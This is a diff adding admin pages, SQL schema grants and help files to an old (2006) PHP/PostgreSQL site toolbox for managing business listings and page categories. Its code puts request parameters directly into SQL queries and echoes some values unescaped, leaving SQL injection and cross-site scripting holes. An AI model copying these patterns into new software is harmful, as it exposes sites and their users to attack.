+GRANT ALL on "bus_category" to "postgres";
+
+REVOKE ALL on "bus_category_id_seq" from PUBLIC;
+GRANT ALL on "bus_category_id_seq" to "nobody";
+GRANT ALL on "bus_category_id_seq" to "postgres";
+
+CREATE TABLE "bus_category_bus" (
+ "id" SERIAL,
+ "busid" integer,
+ "catid" integer,
+ "pos" integer
+);
+
+REVOKE ALL on "bus_category_bus" from PUBLIC;
+GRANT ALL on "bus_category_bus" to "nobody";
+GRANT ALL on "bus_category_bus" to "postgres";
+
+REVOKE ALL on "bus_category_bus_id_seq" from PUBLIC;
+GRANT ALL on "bus_category_bus_id_seq" to "nobody";
+GRANT ALL on "bus_category_bus_id_seq" to "postgres";
+
+CREATE UNIQUE INDEX bus_id_indx ON bus (id);
+
+CREATE UNIQUE INDEX bus_category_id_indx ON bus_category (id);
+CREATE INDEX bus_category_parent_indx ON bus_category (parent);
+CREATE INDEX bus_category_pos_indx ON bus_category (pos);
+CREATE INDEX bus_category_keyword_indx ON bus_category (keyword);
+CREATE INDEX bus_category_template_indx ON bus_category (template);
+
+CREATE UNIQUE INDEX bus_category_bus_id_indx ON bus_category_bus (id);
+CREATE INDEX bus_category_bus_busid_indx ON bus_category_bus (busid);
+CREATE INDEX bus_category_bus_catid_indx ON bus_category_bus (catid);
+
--- /dev/null
+<?
+//$Id: edit_bus.phtml,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+include("../../setup.phtml");
+include("toolbox_setup.inc");
+
+if(!$dbd = db_connect())
+{
+ html_error(DB_ERROR_MSG, 1);
+}
+
+if(isset($id))
+{
+ $qs = "SELECT b.*
+ FROM bus b,bus_category_bus bcb,bus_category bc
+ WHERE b.id = $id
+ AND bcb.busid = $id
+ AND bcb.busid = b.id
+ AND bcb.catid = bc.id";
+
+ if(!$res = db_exec($dbd, $qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+ $row = db_fetch_array($res,0, PGSQL_ASSOC);
+ if(!$row[id])
+ html_error(DB_ERROR_MSG.$qs,1);
+}
+else
+{
+ $row = array (
+ "name" => "",
+ "catid" => $catid,
+ "address" => "",
+ "city" => "",
+ "state" => "",
+ "zip" => "",
+ "phone" => "",
+ "fax" => "",
+ "email" => "",
+ "url" => "",
+ "description" => "",
+ "image" => "",
+ "description2" => "",
+ "image2" => "",
+ "description3" => "",
+ "image3" => "",
+ "file" => "",
+ "file2" => "",
+ "file3" => ""
+ );
+}
+
+top2("Updatable Paragraphs (Add/Edit)", HELP_BASE."bus.phtml?key=edit","ToolboxUserGuide_1.0");
+
+$lnav["List Paragraphs"] = "list_bus.phtml?catid=$catid";
+html_nav_table($lnav, 3);
+
+$qs = "SELECT id,category
+FROM bus_category
+ORDER BY parent,pos";
+
+if(!$altcats = db_exec($dbd,$qs))
+html_error(DB_ERROR_MSG.$qs,0);
+
+?>
+<script>
+ function mySubmit()
+ {
+ var check = 0;
+ for( i = 0; i < <?echo pg_numrows($altcats);?>;i++ )
+ {
+ if( document.myform.catid.options[i].selected )
+ {
+ check = 1;
+ document.myform.category.value += ':' + document.myform.catid.options[i].value;
+ }
+ }
+ if( check == 0 )
+ {
+ alert('Must select one Category from the list!');
+ return(false);
+ }
+ }
+</script>
+<?php
+ if(MULTIPLE_CAT)
+ {
+ ?>
+
+<form name="myform" action="update_bus.phtml?SID" method="POST" enctype="multipart/form-data" onSubmit="return(mySubmit(this));">
+ <?
+}
+else
+{
+ ?>
+
+<form name="myform" action="update_bus.phtml?SID" method="POST" enctype="multipart/form-data">
+ <?
+}
+ echo "<table cellspacing=0 cellpadding=4 width=400 align=center border=0 bgcolor=\"#c0c0c0\">";
+
+ echo "<tr><th colspan=2>Pages:</th></tr>";
+ if(isset($id) && $id != "") {
+ $qs = "SELECT bc.id as catid, bcb.id as id,bc.category,bcb.pos
+ FROM bus_category bc,bus_category_bus bcb,bus b
+ WHERE bcb.busid = $id
+ AND bcb.catid = bc.id
+ AND b.id = bcb.busid
+ ORDER BY bc.category";
+
+ if(!$altres = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,0);
+
+ for($rel=0;$rel<db_numrows($altres);$rel++) {
+ $altrow = db_fetch_array($altres,$rel,PGSQL_ASSOC);
+ $oldalt[$rel] = array_merge_recursive($altrow,$oldalt);
+ }
+ }
+ ?>
+ <tr><td class="navtd" align="right">Page:</td>
+ <td>
+ <? echo parent_select($catid,NULL,"catid[]");?>
+ <?$oldcatid = "";
+ for($i=0;$i<db_numrows($altcats);$i++)
+ {
+ $altrow = db_fetch_array($altcats,$i,PGSQL_ASSOC);
+ for($a=0;$a<count($oldalt);$a++)
+ {
+ if(is_array($oldalt) && ($oldalt[$a][catid] == $altrow[id]))
+ {
+ $oldcatid .= ":".$altrow[id];
+ }
+ }
+ }
+
+ ?>
+ <?if(MULTIPLE_CAT){?>
+ <input type="hidden" name="category" value="">
+ <?}?>
+ <input type="hidden" name="oldcatid" value="<?echo $oldcatid?>">
+</td></tr>
+<?
+echo "<tr><td colspan=2><hr noshade></td></tr>";
+
+foreach($fields as $key=>$value) {
+ if($value[type] == "text") {
+ ?>
+ <tr><td class="navtd" align="right"><?echo $value[title]?></td>
+ <td><input name="<?echo $value[name]?>"
+ value="<?echo htmlspecialchars($row[$value[name]])?>" size=40></td>
+ </tr>
+ <?
+}
+elseif($value['type'] == "seperator"){
+ echo '<tr><td colspan="2"><hr noshade></td></tr>';
+ echo '<tr><td colspan="2" align="center"><b>'.$value["name"].'</b></td></tr>';
+}
+elseif($value[type] == "img") {
+?>
+<tr></tr>
+<?
+echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+value=\"".$row[$value[name]]."\">";
+if($row[$value[name]] != "") {
+ echo "<tr><td class=\"navtd2\" align=\"right\">Current Image:</td>";
+ echo "<td><img src=\"".MIDSIZED.$row[$value[name]]."\">
+ </td>
+ </tr>
+ <tr>
+ <td class=\"navtd2\" align=\"right\">Delete this image:</td>
+ <td>
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+ </td>
+ </tr>";
+}
+echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+ echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+ echo "</tr>";
+ }
+ elseif($value[type] == "file") {
+ ?>
+ <tr></tr>
+ <?
+ echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+ value=\"".$row[$value[name]]."\">";
+ if($row[$value[name]] != "") {
+ echo "<tr><td class=\"navtd2\" align=\"right\">Current File:</td>";
+ echo "<td>".$row[$value[name]]."
+ </td>
+ </tr>
+ <tr>
+ <td class=\"navtd2\" align=\"right\">Delete this File:</td>
+ <td>
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+ </td>
+ </tr>";
+ }
+ echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+ echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+ echo "</tr>";
+}
+if($value[type] == "desc") {
+ echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td>";
+ text_area("$value[name]",htmlspecialchars($row[$value[name]]));
+ echo "</tr>";
+}
+elseif($value[type] == "hide") {
+ echo "<input type=\"hidden\" name=\"".$value[title]."\"
+ value=\"".$row[$value[name]]."\">";
+}
+elseif($value[type] == "bool") {
+ echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td><td>";
+ echo "<input type=\"radio\" name=\"".$value[name]."\" value=\"t\"".($row[$value[name]]=="t"?" checked":"");
+ echo ">Yes";
+ echo "<input type=\"radio\" name=\"".$value[name]."\" value=\"f\"".($row[$value[name]]!="t"?" checked":"");
+ echo ">No";
+
+ echo "</tr>";
+ }
+}
+htmlcode(570,400);
+echo "\n";
+echo "</script>
+";
+echo '<input type="hidden" name="base_parent" value="'.$base_parent.'">';
+if(isset($id)) {
+?>
+<tr><td colspan=2 align=center>
+ <input type="submit" name="Command" value="Update">
+ <input type="submit" name="Command" value="Cancel">
+ <input type="submit" name="Command" value="Delete" onClick="
+ if(confirm('This will delete this Listing!\n Are you sure?'))
+ return(true);
+ else
+ return(false);
+ ">
+ </td>
+ <?
+}
+else {
+ form_footer("Insert","",2);
+}
+echo "</tr></table></form>";
+
+footer();
+?>
--- /dev/null
+<?
+include("../../setup.phtml");
+include("toolbox_setup.inc");
+
+top2("Page (Add/Edit)", HELP_BASE."buscat.phtml?key=edit","ToolboxUserGuide_1.0");
+
+$lnav = array(
+ "List Pages" => "list_bus_category.phtml"
+ );
+if(!CAT_LOCK)
+ $lnav["Add Page"] = "edit_bus_category.phtml";
+ html_nav_table($lnav, 2);
+
+if(!$dbd = db_connect()) html_error(DB_ERROR_MSG, 1);
+
+if(isset($id))
+ {
+ if( DELUXE_TOOLBOX == 1 )
+ {
+ $qs = "SELECT id,category,intro,parent,description,image,keyword,template,pos
+ FROM bus_category
+ WHERE id = $id";
+ }
+ else
+ {
+ $qs = "SELECT id,category,intro,parent,description,image,pos
+ FROM bus_category
+ WHERE id = $id";
+ }
+
+ if(!$res = db_exec($dbd, $qs))
+ html_error(DB_ERROR_MSG,1);
+
+ $row = db_fetch_array($res,0, PGSQL_ASSOC);
+ if(!$row[id])
+ {
+ html_error(DB_ERROR_MSG,1);
+ }
+ }
+else
+ {
+ if( DELUXE_TOOLBOX == 1 )
+ {
+ $row = array(
+ "category" => "",
+ "intro" => "",
+ "parent" => "",
+ "description" => "",
+ "image" => "",
+ "keyword" => "",
+ "template" => "1"
+ );
+ }
+ else
+ {
+ $row = array(
+ "category" => "",
+ "intro" => "",
+ "parent" => "",
+ "description" => "",
+ "image" => ""
+ );
+ }
+ }
+form_header("update_bus_category.phtml?".SID,"POST","");
+echo "<table bgcolor=\"#c0c0c0\" cellspacing=0 cellpadding=4 width=400 align=center border=0>";
+
+foreach($row as $key=>$value) {
+ switch($key) {
+
+ case "id":
+ echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+ break;
+
+ case "pos":
+ echo "<input type=\"hidden\" name=\"oldpos\" value=\"$value\">";
+ break;
+
+ case "parent":
+ echo "<tr><td class=\"navtd\" align=\"right\">
+ <input type=\"hidden\" name=\"oldparent\" value=\"$value\">
+ Parent Category:</td>";
+ $output = parent_select($value,$id);
+ if(!$dbd = db_connect()) html_error(DB_ERROR_MSG, 1);
+ echo "<td class=\"navtd2\">".$output."</td>";
+ echo "</tr>";
+ break;
+
+ case "category":
+
+ echo "<tr><td class=\"navtd\" align=\"right\">Page Name:</td>";
+ text_box("category",$value);
+ echo "</tr>";
+ break;
+
+ case "intro":
+
+ echo "<tr><td class=\"navtd\" align=\"right\">Page Header:</td>";
+ text_box("intro",$value);
+ echo "</tr>";
+ break;
+
+ case "image":
+ echo "<tr><td class=\"navtd\" align=\"right\">Current Image:</td>";
+ echo "<td class=\"navtd2\">
+ <input type=\"hidden\" name=\"oldimage\" value=\"$value\">";
+ if($value != "") {
+ echo "<img src=\"".MIDSIZED."$value\">
+ </td>
+ <tr>
+ <td class=\"navtd\" align=\"right\">Delete this image:</td>
+ <td>
+ <input type=\"radio\" name=\"delete\" value=\"1\">Yes
+ <input type=\"radio\" name=\"delete\" value=\"2\" CHECKED>No
+ </td>
+ </tr>";
+ }
+ echo "<tr><td align=\"right\">
+ New Image:</td><td><input type=\"file\" name=\"image\"></td></tr>";
+ break;
+
+ case "description":
+ echo "<tr><td class=\"navtd\" align=\"right\">Description:</td>";
+ text_area("description",htmlspecialchars($value),15,60);
+ echo "</tr>";
+ break;
+
+ case "keyword":
+ echo "<tr><td class=\"navtd\" align=\"right\"><font color=red>Keyword:</font></td>";
+ text_box("keyword",$value);
+ echo "</tr>";
+ break;
+
+ case "template":
+ echo "<tr><td class=\"navtd\" align=\"right\">Template:</td>";
+ echo "<td class=\"navtd\" align=\"left\">
+ <table cellpadding=\"3\" cellspacing=\"0\" border=0>
+ <tr>
+ <td><img src=\"../template1.gif\"></td>
+ <td><img src=\"../template2.gif\"></td>
+ <td><img src=\"../template3.gif\"></td>
+ <td><img src=\"../template4.gif\"></td>
+ <td><img src=\"../template5.gif\"></td>
+ </tr>
+ <tr>
+ <td>";
+ echo "1<input type=\"radio\" name=\"template\" value=\"1\" ";
+ if($value=="1")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ <td>";
+ echo "2<input type=\"radio\" name=\"template\" value=\"2\" ";
+ if($value=="2")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ <td>";
+ echo "3<input type=\"radio\" name=\"template\" value=\"3\" ";
+ if($value=="3")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ <td>";
+ echo "4<input type=\"radio\" name=\"template\" value=\"4\" ";
+ if($value=="4")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ <td>";
+ echo "5<input type=\"radio\" name=\"template\" value=\"5\" ";
+ if($value=="5")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ </tr>
+ </table>
+ </td></tr>";
+ break;
+
+ default:
+ html_error("Incorrect Value -> ".$key,1);
+ break;
+ }
+}
+
+htmlcode();
+if(isset($id)) {
+ $qs = "SELECT count(*) as count
+ FROM bus_category_bus
+ WHERE catid = $id";
+
+ if(!$res = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,0);
+
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+ ?>
+ <tr><td colspan=2 align=center>
+ <input type="submit" name="Command" value="Update">
+ <input type="submit" name="Command" value="Cancel">
+ <?
+ if(!CAT_LOCK && !check_lock($id))
+ {
+ ?>
+ <input type="submit" name="Command" value="Delete" onClick="
+ <?if($row[count]==0) {?>
+ if(confirm('This will delete this category!\n Are you sure?'))
+ return(true);
+ else
+ return(false);
+ <?}
+ else {?>
+ alert('You have to remove any records in\n this category first');
+ return(false);
+ <?}?>
+ ">
+ <?
+ }
+ ?>
+ </td></tr>
+ <?
+}
+else {
+ form_footer("Insert","",2);
+}
+echo "</table></form>";
+
+footer();
+?>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Listings Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Listings</h4>
+
+<P>
+This page lists the existing Listings.
+</p>
+<p>
+<b>Add A New Listing</b>
+</p>
+<p>This link will allow you to add new Listing</p>
+<p>
+<b>List Listings</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Listing</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Listing</h4>
+<P>
+This page is for editing and modifying an existing Listing in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Listings" page.
+</p>
+<p>
+<b>Name:</b>
+This is the name of the listing.
+</p>
+
+<p>
+<b>Category</b>
+Choose the correct category for this listing. Default to the category that you
+have choosen to list.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Link,
+in the Detailed output of the Link</p>
+<p>
+<b>Address:</b>
+This is the address of the listing.
+</p>
+
+<p>
+<b>Phone:</b>
+This is the Phone Number of the listing.
+</p>
+
+<p>
+<b>Fax:</b>
+This is the Fax Number of the listing.
+</p>
+
+<p>
+<b>Email:</b>
+This is the Email of the listing.
+</p>
+
+<p>
+<b>URL:</b>
+</p>
+<p>This is the web site 5 you want the users to go to when they click the
+link. Don't enter in http://.
+</p>
+<p>
+<b>Picture for Listing:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Listing. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Link,
+you can click "Submit Query." This will update the information about the
+Link in the database.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">ADD an Link</h4>
+<P>
+This page is for Adding Links in the database.
+When form is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Links" page.
+</p>
+
+<p>
+<b>Name:</b>
+This is the name of the listing.
+</p>
+
+<p>
+<b>Category</b>
+Choose the correct category for this listing. Default to the category that you
+have choosen to list.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Link,
+in the Detailed output of the Link</p>
+<p>
+<b>Address:</b>
+This is the address of the listing.
+</p>
+
+<p>
+<b>Phone:</b>
+This is the Phone Number of the listing.
+</p>
+
+<p>
+<b>Fax:</b>
+This is the Fax Number of the listing.
+</p>
+
+<p>
+<b>Email:</b>
+This is the Email of the listing.
+</p>
+
+<p>
+<b>URL:</b>
+</p>
+<p>This is the web site 5 you want the users to go to when they click the
+link. Don't enter in http://.
+</p>
+
+<p>
+<b>Picture for Link:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Link. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Link,
+you can click "Submit Query." This will update the information about the
+Link in the database.
+</p>
+<?
+ break;
+
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Listings Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Categories</h4>
+<P>
+This page lists the existing Listings Categories in the database.
+</p>
+<p>
+<b>Add A New Category</b>
+</p>
+<p>This link will allow you to add new Categories</p>
+<p>
+<b>List Categories</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Category</p>
+<p>
+<b>[Listings]</b>
+</p>
+<p>
+This link will list out the Listings Items associated with a particular Category
+</p>
+<p>
+<h1><b>Notice:</b></h1>The categories are Displayed in a order based on there
+hierarchy.
+</p>
+
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Category</h4>
+<P>
+This page is for editing and modifying the existing Listings Categories in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro.
+</p>
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image associated with this Category.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update" the Room Rate, you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the 0,
+you can click "Update." This will update the information about the Category
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Category, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Category</h4>
+<P>
+This page is for adding Listings Categories in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Categories" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title in the Gallery.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro in the Gallery.
+</p>
+<p>
+<b>Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the information you want for the 0,
+you can click "Insert." This will add the information about the new Category
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<?
+header("Location: list_bus_category.phtml");
+?>
--- /dev/null
+<?
+//$Id: list_bus.phtml,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+include("../../setup.phtml");
+
+if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,1);
+
+$qs = "SELECT category
+ FROM bus_category
+ WHERE id = $catid";
+
+if(!$catres = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+
+$catrow = db_fetch_array($catres,0,PGSQL_ASSOC);
+
+$qs = "SELECT b.id,b.name,bcb.pos
+ FROM bus b,bus_category_bus bcb
+ WHERE bcb.catid = $catid
+ AND b.id = bcb.busid
+ AND bcb.catid = $catid
+ ORDER BY bcb.pos";
+
+if(!$res = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+top("$catrow[category] Paragraphs", HELP_BASE."bus.phtml?key=list","ToolboxUserGuide_1.0");
+$lnav = array(
+ "Add A New Paragraph" => "edit_bus.phtml?catid=$catid",
+ "List Pages" => "list_bus_category.phtml"
+ );
+html_nav_table($lnav, 2);
+
+echo "<table bgcolor=\"#c0c0c0\" align=center width=500 cellspacing=0 cellpadding=4 border=0>";
+?>
+<tr>
+<TH WIDTH=100 ALIGN=left BGCOLOR="#000000">
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ Function
+ </FONT>
+</TH>
+<TH ALIGN=left BGCOLOR="#000000">
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ Records
+ </FONT>
+</TH>
+</tr>
+
+<?
+
+$c = "#cccccc";
+for($i = 0; $i < db_numrows($res); $i++) {
+ $row = db_fetch_array($res,$i, PGSQL_ASSOC);
+ if(!$row[id])
+ html_error(DB_ERROR_MSG,1);
+ if($c == "#cccccc")
+ $c = "#b0b0b0";
+ else
+ $c = "#cccccc";
+ ?>
+<tr bgcolor="<?echo $c?>">
+ <td class="navtd2">
+ <form action="update_bus.phtml" method="POST">
+ <a href="edit_bus.phtml?id=<?echo $row[id]?>&catid=<?echo $catid?>">[Edit]</a>
+ <?
+ $qs = "SELECT MAX(bus_category_bus.pos) as maxpos
+ FROM bus LEFT OUTER JOIN bus_category_bus ON (bus.id = bus_category_bus.busid)
+ WHERE bus_category_bus.catid = $catid;";
+ /*
+ $qs = "SELECT count(*) as maxpos
+ FROM bus_category_bus
+ WHERE catid = $catid
+ ";
+ */
+
+ if(!$maxresult = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $max_data = db_fetch_array($maxresult,0,PGSQL_ASSOC);
+ $maxpos = $max_data[maxpos];
+ $qs = "SELECT bcb.id
+ FROM bus_category_bus bcb,bus b
+ WHERE bcb.catid = $catid
+ AND b.id = bcb.busid
+ AND b.id = $row[id]
+ AND bcb.busid = b.id
+ ";
+
+ if(!$idres = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $idrow = db_fetch_array($idres,0,PGSQL_ASSOC);
+ $pos = "<font size=-4><select name=pos
+ onChange=location.href=this[this.selectedIndex].value;
+ size=1>";
+ for($newpos=1;$newpos<=$maxpos;$newpos++) {
+ $string = "Command=Move&id=$idrow[id]&newpos=$newpos&catid=$catid";
+ $pos .= "<option value=\"update_bus.phtml?$string\"";
+ if($newpos == $row[pos]) {
+ $pos .= " selected";
+ }
+ $pos .= ">$newpos\n";
+ }
+ $pos .= "</select></font>";
+ echo $pos;
+ ?>
+ </form>
+ </td>
+ <td class="navtd2" width=80%><?echo $row[name]?></td>
+</tr>
+ <?
+ }
+echo "</table>\n";
+footer();
+?>
--- /dev/null
+<?php
+session_start();
+session_register("expanded");
+if( is_numeric( $_GET['expand'] ) )
+{
+ // code for adding expanded
+ $expanded[$_GET['expand']] = $_GET['expand'];
+}
+if( is_numeric( $fold ) )
+{
+ // code for folding
+ $oldexp = $expanded;
+ session_unregister("expanded");
+ unset($oldexp[$fold]);
+ $expanded = $oldexp;
+ session_register("expanded");
+}
+//$Id: list_bus_category.phtml,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+include("../../setup.phtml");
+include("toolbox_setup.inc");
+
+if(!$conn = db_connect()) html_error(DB_ERROR_MSG,0);
+top("Pages (List)",HELP_BASE."buscat.phtml?key=list","ToolboxUserGuide_1.0");
+if(isset($active))
+ {
+ if($active=="t")
+ {
+ $nd = "f";
+ }
+ else
+ {
+ $nd = "y";
+ }
+ $query = "UPDATE bus_category SET active = '$nd' WHERE id = $id";
+ db_exec($conn,$query);
+ }
+ $lnav["Edit Positions"] = "list_bus_category.phtml?show_pos=1";
+ $lnav["Expand All Levels"] = "list_bus_category.phtml?expand_all=1";
+ $lnav["Collaspe All Levels"] = "list_bus_category.phtml?collaspe_all=1";
+ unset($lnav["List Pages"]);
+ html_nav_table($lnav, 6);
+ ?>
+ <table bgcolor="#000000" width="500" cellpadding="4" cellspacing="0" align="center" border=0>
+ <tr bgcolor="#000000">
+ <th width=20%>
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ Function
+ </font>
+ </th>
+ <th width=20%>
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ Pos
+ </font>
+ </th>
+ <th width=60%>
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ Category
+ </font>
+ </th>
+ </tr>
+ </table border=1>
+ <table width=500 bgcolor="#c0c0c0" cellpadding=0 cellspacing=0 align=center>
+
+ <tr><td>
+
+ <form action="update_bus_category.phtml" method="POST">
+ <?
+ include_once("threads.phtml");
+ $qs = "SELECT id,parent,pos,category,active
+ FROM bus_category
+ WHERE parent is not null
+ ORDER BY pos;";
+
+if(!$res = pg_Exec($conn,$qs))
+ {
+ echo "Failure".$qs;
+ }
+for($i=0;$i<pg_numrows($res);$i++)
+ {
+ $data = pg_fetch_array($res,$i,PGSQL_ASSOC);
+ $id = $data[id];
+ $category = $data["category"];
+ $parent = $data[parent];
+ $position = $data[pos];
+ if(TOOLBOX_FLAGS == 1)
+ {
+ if($data[active] == 't')
+ {
+ $alt = "Don't display";
+ }
+ else
+ {
+ $alt = "Display";
+ }
+ $active = '<a title="'.$alt.'" href="'.$PHP_SELF."?active=$data[active]&id=$data[id]".'">';
+ if($data[active] == "t")
+ {
+ $active .= "<img src=\"".URL_BASE ."images/grnball.gif\" alt=\"Don't display\" border=0></a>";
+ }
+ else
+ {
+ $active .= "<img src=\"".URL_BASE ."images/redball.gif\" alt=\"Display\" border=0></a>";
+ }
+ }
+ if($show_pos)
+ {
+ $qs = "SELECT MAX(pos) as maxpos
+ FROM bus_category
+ WHERE parent = $parent";
+
+ if(!$maxresult = db_exec($conn,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+ $max_data = db_fetch_array($maxresult,0,PGSQL_ASSOC);
+ $maxpos = $max_data['maxpos'];
+ $pos = "<font size=-4><select name=pos
+ onChange=location.href=this[this.selectedIndex].value;
+ size=1>";
+ for($newpos=1;$newpos<=$maxpos;$newpos++)
+ {
+ $string = "Command=Move&id=$id&parent=$parent&newpos=$newpos";
+ $pos .= "<option value=\"update_bus_category.phtml?$string\"";
+ if($newpos == $position)
+ {
+ $pos .= " selected";
+ }
+ $pos .= ">$newpos\n";
+ }
+ $pos .= "</select></font>";
+ }
+ if( $expand_all == true )
+ {
+ $close = false;
+ $expanded[$id] = 1;
+ }
+ if( $collaspe_all == true )
